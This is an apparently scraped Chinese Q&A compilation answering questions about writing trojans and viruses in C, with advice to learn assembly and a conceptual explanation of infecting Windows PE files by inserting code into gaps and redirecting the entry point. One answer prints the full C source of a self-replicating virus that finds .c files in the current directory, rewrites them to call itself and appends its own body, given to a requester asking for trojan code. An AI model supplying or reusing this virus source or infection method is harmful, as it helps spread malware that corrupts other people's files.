c语言写木马
Ⅰ c语言写木马程序原理
不同的木马原理不同,具体看何种木马。比如。有消耗cpu的,有破环文件类型的,有记录键盘信息的。方法也层次不穷,你可以改变机器的时间,这样很多软件就无法正常的工作,也可以写个死循环,(当然是让计算机无限计算的,而并非简单的死循环,那只是让你的程序报错)让机子瘫痪。木马并非如此简单,需要更深层次更系统的学习。了解计算机的运行机制,和汇编语言。
Ⅱ 如何用C语言制作木马
这个一两句也说不清楚 你首先要有信心去学习c语言,c语言不像vb,要到后期才能看到它的威力,所以要坚持的学下去 希望你能坚持住,教程网上随便一搜索就有了,还有可以去买书 都可以 总之要有耐心 坚持!!
Ⅲ 我想学习C语言 什么样的开发环境最好 另外我想编写木马,请问编写木马都需要先学会什么说的越详细越好。
其实以上两位都讲的不错,学习C在linux下的确是不错的,不过呢不知到你的情况如何,在linux下至少得了解会用一个相关的系统,其实初学者还是不推荐的哈,那也是一门很大的学问了。在win下用VC是很不错的选择,虽然软件比较大,可是功能很齐全了,了解适用起来相对时间就能短很多,容易上手些。
写木马其实不是件简单的事,用C当然可以,但也需要结合其他的知识,另外那要看你能把C用的多牛逼了,还有一定要去学习汇编,在win下的汇编才是真正底层的东西,还得很了解计算机的组成原理和操作系统原理,以及深入了解程序如何在运行,代码在怎么跑,内存管理的机制,…,这点学C的时候就要同时多下功夫了,你了解的越多,懂的越多,理解的越深入,也才能真正自己写出木马、病毒来。再有一定基础的时候,自己你能写一些简单的小程序,能看懂别人的写的东西的时候,再去网上找源码、教程。
至于一些书、环境什么的,就要靠自己去寻找了,这里就没什么给你推荐的,自己能学懂的才是最好的。
Ⅳ c语言木马代码,简单点的,我保证不做违法的
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
再就是网上一网络一大堆的。
Ⅳ C语言可以用来做木马或是病毒吗
C语言可以的
你要是会汇编语言 你就知道了!
汇编几乎可以实现所有其他语言的能实现的功能
汇编可以编木马或是病毒代码,其他当然可以了
你要是学习怎么编写 木马或是病毒代码 最好去学习下汇编,
当然你学会汇编后,也许你就对木马或是病毒代码不感兴趣了。。。。 呵呵
Ⅵ C语言可以写出木马么
c语言可以的,一般的程序设计的语言都是可以的,但是病毒也是有高级与低级之分的,关键看你的语言应用能力了,顺便提醒一句,c语言这种很广泛的语言类,一般编出来的代码容易被破解的。
Ⅶ 学好C语言可以编写病毒吗
可以。
C语言是一门通用计算机编程语言,应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。
他是编辑计算机的语言,所以病毒也是可以编辑的
不过个人建议做个反病毒高手,别做病毒创作者。
Ⅷ 请介绍下C语言写木马的算法......
我只知道window的木马程序的原理,首先你要去研究一下windows PE文件的格式,windows PE文件包括(exe dll文件等),用文本方式打开任意一个exe或者dll文件,就会发现这些文件都具有类似的组织结构(就是PE格式)
仔细耐心地研究了PE格式后,你会发现这些PE格式的文件有很多间隙空间可用,window木马程序正是利用PE格式文件中的这些间隙,把自己的代码插入这些间隙空间中,同时还要修改宿主程序的入口地址(OEP Original Entry Point)
这样,宿主程序一运行,首先运行生成木马的代码,然后运行宿主程序。
Windows应用程序捆绑核心编程 (PE)
http://book.csdn.net/bookfiles/212/10021210198.shtml
http://www.diybl.com/course/3_program/c++/cppjs/2008219/100330.html
Ⅸ c语言木马源代码
ls这个好像是感染c文件的病毒,自动加上玩笑代码(当然可以是恶意的)
不是木马